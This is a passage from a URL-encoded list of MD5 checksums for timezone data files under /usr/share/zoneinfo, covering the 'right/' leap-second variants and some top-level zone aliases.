20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-10%0A07bfd7099440718363f62326e77de873%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-11%0A9441ad5c280f8b9a9d7ea655ec4331ed%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-12%0A56fffbd9907b36e0ebe91aa1e720a4fa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-13%0Ab04189dd2d627cd634dfa83d2a92247f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-14%0A532fd2e3c7a4bf5c1165e45e0aaceea8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-2%0Aa841786fc1eef8c302c269b55481e92e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-3%0A3c876aa7e05e6b7cf8ff4cdc7f20b4a5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-4%0A727c2e23a78bbc0a58e70f72430419f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-5%0A1f9496e712a1274420b9fb883dbaf792%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-6%0Af09936dfb4175c7e6de8b0eeefa5ddde%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-7%0A82e4d2a186994bc21f869e2f26c57a1d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-8%0Afa1584e513c3c8a79df373d13fce54ba%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-9%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FZulu%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%2B0%0A582715ff04d3a528a143071a6ab447a9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FUCT%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FUTC%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT-0%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT0%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGreenwich%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEtc%2FGMT%0A9c5d3575e939fcee5715fe58f19e7cb4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEET%0A5e8b57132e9da282677ab564c799f7c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FAmsterdam%0A4475d5590f217c36496874c4cb2b5e42%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FAndorra%0A87b694c8dcaf618711ed6c396346811f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FAthens%0A1feaa47bb234376630bd8d2926dddae9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBelfast%0A562170c7080f6033f6be9a40b484813c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBerlin%0A1b2762970586aaea74c592612f3929fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBrussels%0Ad0ea0c898ec94a97f097fb63e4e96aed%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBucharest%0A205323539b20e0af7f760e11b11e4d11%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBudapest%0A82e493464e7e7949abda34307e195b38%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FCopenhagen%0A0fb329a64391f00e0662f65ae336550b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FGibraltar%0A284bc4a2ef92176ee8766b6398625fbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FHelsinki%0Ab4becd018818e85dba151ee7b12328e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FKaliningrad%0A510c45ad85f987cabe8ae6501dec7146%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FKiev%0Ac370e122dea66255482873b98b8f07ed%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FLuxembourg%0Af39eb569c63f52b3303af524b82505fc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FMadrid%0Acfe750cbe2c04e92e76cb5fb49e4829c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FMalta%0A92064fcb7e0bf3d3c086ae3e0d570220%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FMinsk%0Aed02d6c8070b13dea171b40475a2f82e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FMonaco%0Ab3d70c12c48babb20760bac0166a8ba3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FParis%0A5680212c927f90aae0fc766a76226367%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FRiga%0A5b0901bd6b44326d130e85475144558d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSamara%0A27b49fc3e9f7ab8fac16d5bc7a4c5f8f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSimferopol%0Af534a61a26942fe7d885ce97b80be67b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSofia%0A2b6454199bc4bd4ffa2f32d90faaafda%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FStockholm%0A1d9264535735f67dc8ac2ae33f6490fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FTallinn%0A3467ae4255ed96845736a0272fc2ce48%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FTirane%0A354160d6497ffec36b4e1989d90e927e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FUzhgorod%0A608796724512048db8518b23931ecb2b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FVaduz%0A3fd4d65959eec8e8f5cbe0c0538e49aa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FVienna%0A6675ba96af70888fcdaf4d4ede7245a6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FVilnius%0A6ecdae2603780eb77639a41299bcce36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FZaporozhye%0Aa6ca3a603651f5f82733862b91eba319%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FZurich%0A5eae7523fd61ac6a0e53f77e07c020e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FWarsaw%0A5dab76039cb47ad071b4392ee3bd902c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSan_Marino%0A5dab76039cb47ad071b4392ee3bd902c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FVatican%0A4a14d82782d0f1b786ac6f7c81c401f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FMoscow%0A5dab76039cb47ad071b4392ee3bd902c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FRome%0A5cdb1d2660049971e782b1eea3b15141%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FLondon%0A2008bdd59d1c9d7eae29c81193764c97%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FLisbon%0A0991cdb8c002caf80b1a8ba31a9a3dac%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FTiraspol%0A2b9922dda9c3ac0afe2624914c1664a4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FOslo%0A0991cdb8c002caf80b1a8ba31a9a3dac%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FChisinau%0Ae870f4d68fb1888e70f9d78cc779c3be%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FPrague%0Ae870f4d68fb1888e70f9d78cc779c3be%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBratislava%0A56a1e12a17bab8572636007bceec9490%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FLjubljana%0A56a1e12a17bab8572636007bceec9490%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSarajevo%0A56a1e12a17bab8572636007bceec9490%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FSkopje%0A56a1e12a17bab8572636007bceec9490%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FZagreb%0A8de8b772d52b08383423e71101362f1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FDublin%0Af06ed288f09ade2465f9d58d61b0bdf8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FNicosia%0A56a1e12a17bab8572636007bceec9490%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FBelgrade%0Aa929efa221c61b37f345ec82d3b47089%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEurope%2FIstanbul%0Afb50fe1f5f1b2d5461aa1f873df244f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FAntananarivo%0A231085114b2fce24b337fd5473ace617%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FChagos%0A2104955c2f851882d88ec91a1fcc6e8f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FChristmas%0A0fee82193f4f427bb8c8f9cda326db2b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FCocos%0A70344d799b2b24418efead19f6d09f6c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FComoro%0Ab448cfbfb42d6b06229eae0ae6e18578%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FKerguelen%0Afe7e97535a0e77c6e6b8e71632d5cb00%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FMahe%0A11160c5b0f55d7e0f6c7db30bf5b58ed%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FMaldives%0A42c8f52a7a9777769221b448a7b4ffae%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FMauritius%0Acf98a997ce43ea248e0f952a3f41a627%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FMayotte%0A8e3d1c1f25b2c6c8b97b87cb0fb72a88%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIndian%2FReunion%0A1d10c63fb9f77213774de79804d43a51%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FFactory%0Ad1d27521d5dc46ef58e00144f9dcb93a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMexico%2FBajaNorte%0A93e26f492c056ddfcea03292495446bb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMexico%2FGeneral%0A0aee73185d528396461b93b5aaf69522%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMexico%2FBajaSur%0Ac21a5556dd559b73740d791509a638db%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMET%0A1faa10dab54ad1fe67c2b272c2de546d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMideast%2FRiyadh89%0Ac1517f34fd872eb88a22b7c9c5495efc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMideast%2FRiyadh88%0A897c804bd3efabe78a70f77c6a0579c1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMideast%2FRiyadh87%0Adcddcf919cc898ded220f3f0f2fa4cce%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FEnderbury%0Ac9c11647a557366024866746e627b0d0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FApia%0Acd32a4ec23c91cbc23a5cbb18d3e4d95%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FEfate%0A26e6f98d7537c984dd9af4425dc70bc8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FFunafuti%0A9d8d8da3775e4ef7d14258c9e2d51c5f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FFakaofo%0A56d0073d591e19af8b422cd3dac415b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FFiji%0Ab8e65ed9af4cb65c194b23cabbfe2723%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FPort_Moresby%0A663ee95f5cd075e865fc7fec5ec5a9c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FGalapagos%0Ae03347ede0c92dee8b87ce9fde94b710%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FGuadalcanal%0Aa1edb9da7081522f87271e23cde2b492%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FGuam%0A9a9b9c4d5e24db64a49944b38e35cde3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FJohnston%0A32c51313d7c14c4d6d433ba9262457f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FKiritimati%0Acec4614cffe66230a6d1124e49e95a02%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FKosrae%0A7bdc5ade0d6b5939de8bd1f561159550%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FMajuro%0Ab4d3954a8d5f7aa7facd92f26fc7b909%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FMarquesas%0Aa9faadef3be0d75b22e08700b3b92767%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FMidway%0Ad145aa6b1d1b6c6b0175015191a7348e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FNauru%0A7ce7b55b262ea136aaece47791789a71%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FNiue%0A63f97d18a73b892b00cfad8081717778%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FNorfolk%0Aae26f0ee9000010903fa168f78558e73%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FNoumea%0A6c6fa0eaf634f156fb52880fabe01dc1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FPalau%0Ab32592970c418767f4381e90f0b293f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FPonape%0A6b656ffbcd939af41d12c9d9e52c8c0a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FSamoa%0A1f242f6be5f1e7cd87d5c46bf95b896c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FRarotonga%0A4a1ac5e8b67f3c3ae877e642075d66a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FSaipan%0A3b73f33f821110944b55a2ff100e3968%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FTahiti%0A6b510d78a3aa17a00788fe2cacff296c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FTarawa%0A80b1187521f2e34d91af5af71e8d28af%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FTongatapu%0A34ca25e67d007b944b0c4b0543ac1ad4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FTruk%0Ad5bd53e6eb41681fa54596b0f559751a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FWake%0Af810c346ec2b2bbb22618f70a612bc9d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FWallis%0A1ebca753585edb7a2c94d060bdab8338%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FYap%0A37778b813cd2700205130365415d43dd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FPitcairn%0Af5799b20a340d668464d63514c1de94a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FAuckland%0A6b656ffbcd939af41d12c9d9e52c8c0a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FPago_Pago%0Ae34502a797ce799d650d2fe9905303d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FGambier%0A76ca536188a80d008610a0814952dbcf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FChatham%0Af570efa74b09d6c5d903083446100796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FKwajalein%0A1328a289c0dbdaa60485b944ad4d62a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FHonolulu%0Af3f380cbc672e29d94d4205c71a56d36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPacific%2FEaster%0A37778b813cd2700205130365415d43dd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FPST8%0Ae34502a797ce799d650d2fe9905303d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FYST9%0A1328a289c0dbdaa60485b944ad4d62a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FHST10%0A047fbf41c66a3cc7dc4eaaf0d11c604d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FCST6%0A52e9dd5b85c69d9a63e1ef2271938e14%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FAST4%0Aa9096ab222b547c76449a95274865796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FMST7%0Ade82533f27108cddd3adc6e92300ef47%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FEST5EDT%0Ac0cb80ce326badcd0a984406eb11b7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FPST8PDT%0Ac7d814c0e4be0fe241e669504d558269%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FAST4ADT%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FEST5%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FMST7MDT%0Ae767ab12af6837539c2bf2fde90235b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FCST6CDT%0A0594b1a4f10bdbecfb0c6c0f6d37113f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSystemV%2FYST9YDT%0A8a49ad369d61586970608d44590b989a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FIndiana-Starke%0A6b656ffbcd939af41d12c9d9e52c8c0a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FSamoa%0A1328a289c0dbdaa60485b944ad4d62a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FHawaii%0Aa9096ab222b547c76449a95274865796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FArizona%0Ade82533f27108cddd3adc6e92300ef47%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FEastern%0Ac0cb80ce326badcd0a984406eb11b7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FPacific%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FEast-Indiana%0A74798e2a31fe3d957487d9a885870b32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FMichigan%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FMountain%0Ae767ab12af6837539c2bf2fde90235b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FCentral%0A0594b1a4f10bdbecfb0c6c0f6d37113f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FAlaska%0A978e99332e73344bb142392077e0b39d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUS%2FAleutian%0A76ca536188a80d008610a0814952dbcf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FNZ-CHAT%0A6856ce2067b36c7527ab93342fbbaba2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FWET%0Af570efa74b09d6c5d903083446100796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FKwajalein%0Af5799b20a340d668464d63514c1de94a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FNZ%0A5eae7523fd61ac6a0e53f77e07c020e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPoland%0A1328a289c0dbdaa60485b944ad4d62a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FHST%0A2008bdd59d1c9d7eae29c81193764c97%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPortugal%0A4a14d82782d0f1b786ac6f7c81c401f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FW-SU%0A5cdb1d2660049971e782b1eea3b15141%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGB-Eire%0A5cdb1d2660049971e782b1eea3b15141%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGB%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGMT%2B0%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUniversal%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FZulu%0A582715ff04d3a528a143071a6ab447a9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUCT%0Ad231c675c4f9c02a5ca7379660b0cc65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FUTC%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FNavajo%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGMT-0%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGMT0%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGreenwich%0A8de8b772d52b08383423e71101362f1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEire%0A35a060fd8b72597132c5b3a83cfcdfad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIran%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FGMT%0A2d88feca7be42d8cc922851e5a05e295%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIceland%0Ad5aa908c35b30e5e1abf2c6791d83d24%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FJapan%0A7adf24a71b7e4f9be73009c92e79c44c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FROC%0A0bb79c4d133b52fdde53fc7d1bf70f5f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FSingapore%0Ac44173adeac95918260138e6c0b93114%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPRC%0A4c9ed7cb67c5d621473d155e23f0610d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FROK%0A387d29c7a33ce98af91e795255bac8d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FIsrael%0Aa929efa221c61b37f345ec82d3b47089%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FTurkey%0Aafe5b0122290296c0831c074d6fe1956%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FHongkong%0Aa9096ab222b547c76449a95274865796%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMST%0Ade82533f27108cddd3adc6e92300ef47%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEST5EDT%0Ac0cb80ce326badcd0a984406eb11b7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FPST8PDT%0A18509883ccc62cc26a8e8e3e39cae56d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FJamaica%0A4bccf6be5b7a43eeb153144fcb2408fe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCuba%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEST%0A92827308dade5713be4453024834e536%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FMST7MDT%0Ae767ab12af6837539c2bf2fde90235b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FCST6CDT%0A948b767c4cfce975cdfb323e2e193eae%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FLibya%0A9b0beb7dc758ccd9791e2e9ec5d1ca55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FEgypt%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FNavajo%0Abb084ba0b1c2a5cc6ff3382e12a78899%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fzone.tab%0Aea6cf32968686490023b81cecb6a7c13%20%20%2Fusr%2Fshare%2Fzoneinfo%2FNZ-CHAT%0A7ecfca2bf9dbbbe64cdfea5a0922a397%20%20%2Fusr%2Fshare%2Fzoneinfo%2FNZ%0A678f42d72b213b0ac6bb666a77430e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2FKwajalein%0Aef02ff0df83fbe3094052fda06e2eff1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FHST%0A7682d3e8540273adbb7ee35f52948e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2FPoland%0Ac4f28389191f01c90e1e748ab4960350%20%20%2Fusr%2Fshare%2Fzoneinfo%2FW-SU%0A4c9f9c5c5f86bcc5465c08831ef59e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGB-Eire%0A4c9f9c5c5f86bcc5465c08831ef59e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGB%0A645f002c9d89a0c81ab6320d399f9618%20%20%2Fusr%2Fshare%2Fzoneinfo%2FPortugal%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUniversal%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FZulu%0A58509d20328588b047b8af8673e9c3ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUCT%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUTC%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGMT%2B0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGMT-0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGMT0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGreenwich%0A1f0a6164226fe99d3297d897c0a81c0f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FEire%0A7e6686b4e68a68f5088d7b6784598dc6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FIceland%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FGMT%0Ab8f0d6d105e1b12534a365119d01ccad%20%20%2Fusr%2Fshare%2Fzoneinfo%2FJapan%0A0edd969f5dd7cc3d1da58a35bb5f2dfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FIran%0A2cb7700780c8b4963f72c9dab967cffa%20%20%2Fusr%2Fshare%2Fzoneinfo%2FROC%0A742c2406b041ed40406094ab73c83e43%20%20%2Fusr%2Fshare%2Fzoneinfo%2FSingapore%0A7f6b70f5f9d91b58b5d56c6a35faefb2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FPRC%0A49b064a11f619899d63d1cc455406995%20%20%2Fusr%2Fshare%2Fzoneinfo%2FROK%0A1802f2356ef48ea41a88eb350a030db7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FIsrael%0A84690d9f97e356c7c9138ac2a0781761%20%20%2Fusr%2Fshare%2Fzoneinfo%2FTurkey%0A69576b56ab708dbaeb70a132265f273c%20%20%2F